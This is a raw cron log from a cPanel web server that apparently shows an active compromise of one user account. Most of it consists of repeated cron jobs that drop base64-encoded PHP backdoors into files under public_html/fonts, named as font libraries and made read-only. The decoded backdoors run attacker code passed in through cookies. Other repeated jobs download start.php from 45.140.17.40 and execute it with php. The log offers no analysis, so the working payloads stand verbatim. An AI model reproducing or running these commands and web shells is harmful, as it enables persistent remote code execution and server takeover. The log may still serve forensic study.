Sep  2 09:00:01 ip-184-168-122-23 CROND[18312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18313]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:00:01 ip-184-168-122-23 CROND[18317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:00:01 ip-184-168-122-23 CROND[18315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18320]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:00:01 ip-184-168-122-23 CROND[18321]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:01:01 ip-184-168-122-23 CROND[18436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:01:01 ip-184-168-122-23 CROND[18438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:01:01 ip-184-168-122-23 CROND[18440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:01:01 ip-184-168-122-23 CROND[18441]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 09:01:01 ip-184-168-122-23 CROND[18443]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 09:01:01 ip-184-168-122-23 CROND[18445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18443]: starting 0anacron
Sep  2 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[18458]: finished 0anacron
Sep  2 09:02:01 ip-184-168-122-23 CROND[18570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:02:01 ip-184-168-122-23 CROND[18571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:02:01 ip-184-168-122-23 CROND[18575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:02:01 ip-184-168-122-23 CROND[18574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:02:01 ip-184-168-122-23 CROND[18577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:03:01 ip-184-168-122-23 CROND[18673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:03:01 ip-184-168-122-23 CROND[18672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:03:01 ip-184-168-122-23 CROND[18674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:03:01 ip-184-168-122-23 CROND[18675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:04:01 ip-184-168-122-23 CROND[18872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:04:01 ip-184-168-122-23 CROND[18874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:04:01 ip-184-168-122-23 CROND[18876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:04:01 ip-184-168-122-23 CROND[18875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:04:01 ip-184-168-122-23 CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19013]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:05:01 ip-184-168-122-23 CROND[19016]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19014]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 09:05:01 ip-184-168-122-23 CROND[19018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:06:01 ip-184-168-122-23 CROND[19123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:06:01 ip-184-168-122-23 CROND[19125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:06:01 ip-184-168-122-23 CROND[19126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:06:01 ip-184-168-122-23 CROND[19124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:06:01 ip-184-168-122-23 CROND[19127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:07:01 ip-184-168-122-23 CROND[19256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:07:01 ip-184-168-122-23 CROND[19258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:07:01 ip-184-168-122-23 CROND[19257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:07:01 ip-184-168-122-23 CROND[19261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:08:01 ip-184-168-122-23 CROND[19346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:08:01 ip-184-168-122-23 CROND[19348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:08:01 ip-184-168-122-23 CROND[19349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:08:01 ip-184-168-122-23 CROND[19351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:08:01 ip-184-168-122-23 CROND[19350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:09:01 ip-184-168-122-23 CROND[19475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:09:01 ip-184-168-122-23 CROND[19478]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 09:09:01 ip-184-168-122-23 CROND[19477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:09:01 ip-184-168-122-23 CROND[19480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:09:01 ip-184-168-122-23 CROND[19479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:10:01 ip-184-168-122-23 CROND[19666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19668]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 09:10:01 ip-184-168-122-23 CROND[19670]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19669]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 09:10:01 ip-184-168-122-23 CROND[19674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 09:11:01 ip-184-168-122-23 CROND[19809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 09:11:01 ip-184-168-122-23 CROND[19810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 09:11:01 ip-184-168-122-23 CROND[19811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
